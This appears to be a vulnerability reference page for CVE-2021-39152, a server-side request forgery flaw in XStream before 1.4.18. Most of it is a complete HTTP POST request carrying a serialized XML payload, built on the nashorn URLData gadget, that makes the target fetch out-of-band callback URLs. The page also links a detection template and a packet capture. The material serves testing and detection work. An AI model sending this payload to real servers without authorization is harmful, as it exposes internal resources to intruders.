CVE-2021-39152: XStream <1.4.18 - Server-Side Request Forgery

🔍 Vulnerability Description

XStream before 1.4.18 is susceptible to server-side request forgery. An attacker can request data from internal resources that are not publicly available by manipulating the processed input stream with a Java runtime version 14 to 8. This makes it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

🌐 HTTP Request

POST / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Content-Length: 985
Content-Type: application/xml
Accept-Encoding: gzip

<map>

  <entry>

    <jdk.nashorn.internal.runtime.Source_-URLData>

      <url>http://d5jo1uhle0o4sa6h2d6061d3w9mzatms9.oast.pro/internal/</url>

      <cs>GBK</cs>

      <hash>1111</hash>

      <array>b</array>

      <length>0</length>

      <lastModified>0</lastModified>

    </jdk.nashorn.internal.runtime.Source_-URLData>

    <jdk.nashorn.internal.runtime.Source_-URLData reference='../jdk.nashorn.internal.runtime.Source_-URLData'/>

  </entry>

  <entry>

    <jdk.nashorn.internal.runtime.Source_-URLData>

      <url>http://d5jo1uhle0o4sa6h2d60oryaftrdxtga3.oast.pro/internal/</url>

      <cs reference='../../../entry/jdk.nashorn.internal.runtime.Source_-URLData/cs'/>

      <hash>1111</hash>

      <array>b</array>

      <length>0</length>

      <lastModified>0</lastModified>

    </jdk.nashorn.internal.runtime.Source_-URLData>

    <jdk.nashorn.internal.runtime.Source_-URLData reference='../jdk.nashorn.internal.runtime.Source_-URLData'/>

  </entry>

</map>

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-39152.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-39152.pcap